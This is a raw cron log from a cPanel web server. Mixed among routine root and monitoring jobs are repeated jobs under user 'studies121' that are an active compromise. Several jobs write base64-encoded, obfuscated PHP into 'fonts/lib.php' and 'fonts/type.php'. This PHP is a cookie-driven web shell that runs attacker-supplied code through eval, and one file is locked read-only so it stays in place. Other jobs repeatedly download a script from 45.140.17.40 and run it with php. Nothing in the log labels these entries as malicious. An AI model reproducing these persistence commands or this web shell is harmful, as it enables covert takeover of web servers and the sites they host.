Aug 31 03:35:01 ip-184-168-122-23 CROND[21151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:35:01 ip-184-168-122-23 CROND[21145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:36:01 ip-184-168-122-23 CROND[21364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:36:01 ip-184-168-122-23 CROND[21368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:36:01 ip-184-168-122-23 CROND[21366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:36:01 ip-184-168-122-23 CROND[21369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:36:01 ip-184-168-122-23 CROND[21367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:37:01 ip-184-168-122-23 CROND[21482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:37:01 ip-184-168-122-23 CROND[21484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:37:01 ip-184-168-122-23 CROND[21485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:37:01 ip-184-168-122-23 CROND[21486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:38:01 ip-184-168-122-23 CROND[21584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:38:01 ip-184-168-122-23 CROND[21586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:38:01 ip-184-168-122-23 CROND[21588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:38:01 ip-184-168-122-23 CROND[21589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:38:01 ip-184-168-122-23 CROND[21587]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:39:01 ip-184-168-122-23 CROND[21680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:39:01 ip-184-168-122-23 CROND[21682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:39:01 ip-184-168-122-23 CROND[21684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:39:01 ip-184-168-122-23 CROND[21685]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 03:39:01 ip-184-168-122-23 CROND[21683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:40:01 ip-184-168-122-23 CROND[21787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:40:01 ip-184-168-122-23 CROND[21790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:40:01 ip-184-168-122-23 CROND[21791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:40:01 ip-184-168-122-23 CROND[21792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:40:01 ip-184-168-122-23 CROND[21797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:40:01 ip-184-168-122-23 CROND[21793]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:40:01 ip-184-168-122-23 CROND[21796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:40:01 ip-184-168-122-23 CROND[21795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:41:01 ip-184-168-122-23 CROND[21916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:41:01 ip-184-168-122-23 CROND[21918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:41:01 ip-184-168-122-23 CROND[21920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:41:01 ip-184-168-122-23 CROND[21921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:42:01 ip-184-168-122-23 CROND[22002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:42:01 ip-184-168-122-23 CROND[22003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:42:01 ip-184-168-122-23 CROND[22004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:42:01 ip-184-168-122-23 CROND[22006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:42:01 ip-184-168-122-23 CROND[22007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:43:01 ip-184-168-122-23 CROND[22120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:43:01 ip-184-168-122-23 CROND[22122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:43:01 ip-184-168-122-23 CROND[22121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:43:01 ip-184-168-122-23 CROND[22123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:44:01 ip-184-168-122-23 CROND[22345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:44:01 ip-184-168-122-23 CROND[22348]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:44:01 ip-184-168-122-23 CROND[22349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:44:01 ip-184-168-122-23 CROND[22347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:44:01 ip-184-168-122-23 CROND[22350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:45:01 ip-184-168-122-23 CROND[22451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:45:01 ip-184-168-122-23 CROND[22456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:45:01 ip-184-168-122-23 CROND[22455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:45:01 ip-184-168-122-23 CROND[22457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:45:01 ip-184-168-122-23 CROND[22459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:45:01 ip-184-168-122-23 CROND[22462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:46:01 ip-184-168-122-23 CROND[22558]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:46:01 ip-184-168-122-23 CROND[22561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:46:01 ip-184-168-122-23 CROND[22562]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 03:46:01 ip-184-168-122-23 CROND[22560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:46:01 ip-184-168-122-23 CROND[22564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:46:01 ip-184-168-122-23 CROND[22563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:46:01 ip-184-168-122-23 CROND[22565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:47:01 ip-184-168-122-23 CROND[22696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:47:01 ip-184-168-122-23 CROND[22698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:47:01 ip-184-168-122-23 CROND[22697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
